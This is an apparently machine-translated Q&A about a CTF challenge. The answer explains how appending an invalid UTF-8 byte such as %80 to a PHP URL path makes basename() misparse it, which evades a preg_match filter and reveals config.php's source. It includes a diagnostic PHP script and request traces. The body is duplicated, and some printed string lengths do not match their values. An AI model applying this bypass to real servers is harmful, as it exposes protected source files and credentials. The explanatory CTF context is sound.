URL 中的十六进制值如何更改文件的路径?
How does the hex value in an URL change the path of the file?
我正在应对 CTF 挑战。这是挑战的 link:Link1
当我尝试将路径更改为 Link2 时。
它成功检索了标志,但是当十六进制值小于 80 时,它不起作用。
我是一个初学者,并且进行了大量挖掘以找出方法,但我找不到任何东西。请问这是怎么回事?
看来挑战是利用 PHP 的 basename()
函数的一个怪癖。 As per the documentation:
Caution:
basename()
is locale aware, so for it to see the correct basename with multibyte character paths, the matching locale must be set using the setlocale()
function.
这意味着如果您向它传递一个包含高于 0x7F 的代码点的字符串,那么它会尝试将它们作为多字节字符处理。因此,将随机字节传递给此函数很可能会使它崩溃。
我将以下脚本上传到服务器进行测试:
<?php
header("Content-Type: text/plain; charset=UTF-8");
echo '$_SERVER["PATH_INFO"] = ';
var_dump($_SERVER['PATH_INFO']);
echo '$_SERVER["PHP_SELF"] = ';
var_dump($_SERVER['PHP_SELF']);
echo 'basename($_SERVER["PHP_SELF"]) = ';
var_dump(basename($_SERVER['PHP_SELF']));
下面是我通过几个选定的请求获得的结果:
■ GET /index.php?source
$_SERVER["PATH_INFO"] = NULL
$_SERVER["PHP_SELF"] = string(15) "/index.php"
basename($_SERVER["PHP_SELF"]) = string(9) "index.php"
■ GET /index.php/config.php?source
$_SERVER["PATH_INFO"] = string(11) "/config.php"
$_SERVER["PHP_SELF"] = string(26) "/index.php/config.php"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"
■ GET /index.php/config.php/XXX?source
$_SERVER["PATH_INFO"] = string(15) "/config.php/XXX"
$_SERVER["PHP_SELF"] = string(30) "/index.php/config.php/XXX"
basename($_SERVER["PHP_SELF"]) = string(3) "XXX"
■ GET /index.php/config.php/%F0%9F%98%80?source
$_SERVER["PATH_INFO"] = string(16) "/config.php/"
$_SERVER["PHP_SELF"] = string(31) "/index.php/config.php/"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"
你会注意到在最后一个例子中,PHP 未能解析 PATH_INFO
字符串末尾的 UTF-8 字符,并默认为 config.php
代替。
因此在您给出的示例中,link 到 /index.php/config.php/%80?source
会导致 $_SERVER["PHP_SELF"]
取 "config.php"
的值。这允许您的查询通过以下测试,因为 $_SERVER['PHP_SELF']
以 \x80
结尾,而不是 /
:
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
因此您可以从 config.php
.
的源代码中获取标志
一个有趣的挑战。
注意:如果您将 PHP 的语言环境设置为接受 UTF-8 字符的内容(例如,setlocale(LC_ALL, 'en_GB.UTF8');
),那么它将处理字符正确,但在给定 %80
.
等无效代码点时仍会掉落
我正在应对 CTF 挑战。这是挑战的 link:Link1
当我尝试将路径更改为 Link2 时。
它成功检索了标志,但是当十六进制值小于 80 时,它不起作用。
我是一个初学者,并且进行了大量挖掘以找出方法,但我找不到任何东西。请问这是怎么回事?
看来挑战是利用 PHP 的 basename()
函数的一个怪癖。 As per the documentation:
Caution:
basename()
is locale aware, so for it to see the correct basename with multibyte character paths, the matching locale must be set using thesetlocale()
function.
这意味着如果您向它传递一个包含高于 0x7F 的代码点的字符串,那么它会尝试将它们作为多字节字符处理。因此,将随机字节传递给此函数很可能会使它崩溃。
我将以下脚本上传到服务器进行测试:
<?php
header("Content-Type: text/plain; charset=UTF-8");
echo '$_SERVER["PATH_INFO"] = ';
var_dump($_SERVER['PATH_INFO']);
echo '$_SERVER["PHP_SELF"] = ';
var_dump($_SERVER['PHP_SELF']);
echo 'basename($_SERVER["PHP_SELF"]) = ';
var_dump(basename($_SERVER['PHP_SELF']));
下面是我通过几个选定的请求获得的结果:
■ GET /index.php?source
$_SERVER["PATH_INFO"] = NULL
$_SERVER["PHP_SELF"] = string(15) "/index.php"
basename($_SERVER["PHP_SELF"]) = string(9) "index.php"
■ GET /index.php/config.php?source
$_SERVER["PATH_INFO"] = string(11) "/config.php"
$_SERVER["PHP_SELF"] = string(26) "/index.php/config.php"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"
■ GET /index.php/config.php/XXX?source
$_SERVER["PATH_INFO"] = string(15) "/config.php/XXX"
$_SERVER["PHP_SELF"] = string(30) "/index.php/config.php/XXX"
basename($_SERVER["PHP_SELF"]) = string(3) "XXX"
■ GET /index.php/config.php/%F0%9F%98%80?source
$_SERVER["PATH_INFO"] = string(16) "/config.php/"
$_SERVER["PHP_SELF"] = string(31) "/index.php/config.php/"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"
你会注意到在最后一个例子中,PHP 未能解析 PATH_INFO
字符串末尾的 UTF-8 字符,并默认为 config.php
代替。
因此在您给出的示例中,link 到 /index.php/config.php/%80?source
会导致 $_SERVER["PHP_SELF"]
取 "config.php"
的值。这允许您的查询通过以下测试,因为 $_SERVER['PHP_SELF']
以 \x80
结尾,而不是 /
:
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
因此您可以从 config.php
.
一个有趣的挑战。
注意:如果您将 PHP 的语言环境设置为接受 UTF-8 字符的内容(例如,setlocale(LC_ALL, 'en_GB.UTF8');
),那么它将处理字符正确,但在给定 %80
.